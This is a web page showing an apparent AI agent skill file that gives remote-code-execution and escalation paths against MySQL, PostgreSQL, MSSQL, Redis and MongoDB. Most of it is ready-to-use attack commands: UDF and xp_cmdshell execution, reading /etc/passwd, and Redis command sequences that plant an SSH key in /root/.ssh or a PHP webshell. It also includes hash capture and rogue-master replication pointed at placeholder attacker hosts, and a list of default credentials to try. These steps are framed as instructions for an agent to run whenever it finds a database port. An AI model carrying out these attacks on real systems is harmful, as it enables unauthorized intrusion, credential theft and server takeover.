Skip to content
FunCoding

svc-database

Database RCE paths — UDF, xp_cmdshell, COPY TO PROGRAM, Redis key write. Use when a database service is found. Triggers - MySQL 3306, PostgreSQL 5432, MSSQL 1433, Redis 6379, MongoDB 27017.

Star
1,278
Category
Data
License
MIT
Last commit
Nov 30, 2026

skills/services/database/SKILL.md

View on GitHub

Database — RCE & Escalation Paths

Standard enumeration (connect, list DBs, dump users) — you know this. Below is what matters.

MySQL → RCE via UDF

Requires FILE privilege + write access to plugin dir. Upload lib_mysqludf_sys.so → SELECT sys_exec('id'). Also: SELECT LOAD_FILE('/etc/passwd') for file read.

PostgreSQL → RCE via COPY TO PROGRAM

Requires superuser: COPY (SELECT '') TO PROGRAM 'id'; Alternative: large object import/export for file read/write.

MSSQL → xp_cmdshell

If disabled (common): EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; Then: EXEC xp_cmdshell 'whoami'; Hash capture: EXEC xp_dirtree '\\ATTACKER\share'; → catch with Responder.

Redis no-auth → RCE (two methods)

SSH key write:

CONFIG SET dir /root/.ssh
CONFIG SET dbfilename authorized_keys
SET payload "\n\nssh-rsa AAAA...your_key...\n\n"
SAVE

Webshell (if web server co-hosted):

CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
SET payload "<?php system($_GET['cmd']); ?>"
SAVE

MongoDB / Elasticsearch — no auth = full dump

Both default to no authentication. Connect and enumerate immediately.

2024-2025 additions

Redis (6379) — module loading RCE (CVE-2022-0543 / Lua sandbox escape)

  • Lua sandbox escape: Redis <7.0.5 / 6.2.7 with Lua scripting enabled. EVAL payload escapes sandbox → RCE. Check version; if vulnerable, redis-cli -h <target> eval ....
  • Module loading (Redis 4.0+): MODULE LOAD /path/to/exp_lin.so — requires CONFIG SET dir + write to module dir. If redis-server runs as root → instant root. redis-rogue-server.py automates.
  • Replication RCE: SLAVEOF <attacker-ip> <port> → rogue master sends malicious module. Works even without CONFIG perms if replication allowed.

PostgreSQL — COPY TO PROGRAM / extensions

  • postgres_fdw / file_fdw: Foreign data wrappers for file read/write without superuser in some configs.
  • plpython3u / plperlu: Trusted languages if installed → CREATE FUNCTION ... LANGUAGE plpython3u → RCE.
  • CVE-2024-10979 (libpq PQescapeLiteral overflow): Client-side; affects psql / libpq <17.1/16.5/15.9/14.14/13.17. Check client version.

MySQL / MariaDB — UDF / plugin abuse

  • plugin_dir write: If secure_file_priv='' and plugin_dir writable → INSTALL PLUGIN / CREATE FUNCTION UDF → RCE.
  • CVE-2024-21098 / CVE-2024-21103 (Oracle MySQL): Patched in 8.0.39+. Check version if target uses Oracle MySQL.
  • MariaDB spider / connect engines: Federated engine abuse for arbitrary file read/write.

MSSQL — xp_cmdshell / CLR

  • CLR Assembly: CREATE ASSEMBLY from hex bytes → CREATE PROCEDURE ... EXTERNAL NAME → .NET RCE. Requires PERMISSION_SET = UNSAFE + TRUSTWORTHY or SAFE with signing.
  • OPENROWSET / OPENDATASOURCE: Ad Hoc Distributed Queries enabled → read files / execute via Microsoft.ACE.OLEDB.12.0.

Default creds worth trying

MySQL: root (no password), root/root. PostgreSQL: postgres/(empty). MSSQL: sa/(empty or common).

Similar Skills

Featured

agentic-os

Build persistent multi-agent systems without external databases, using file-based memory and scheduled tasks.

AFaffaan-m/ECC314k3,503 new stars in the last 7 days

health

GAgarrytan/gstack143k524 new stars in the last 7 days

deprecation-and-migration

ADaddyosmani/agent-skills122k1,421 new stars in the last 7 days

ccs-align

THthedotmack/claude-mem121k1,354 new stars in the last 7 days

handoff

THthedotmack/claude-mem121k1,354 new stars in the last 7 days

knowledge-agent

THthedotmack/claude-mem121k1,354 new stars in the last 7 days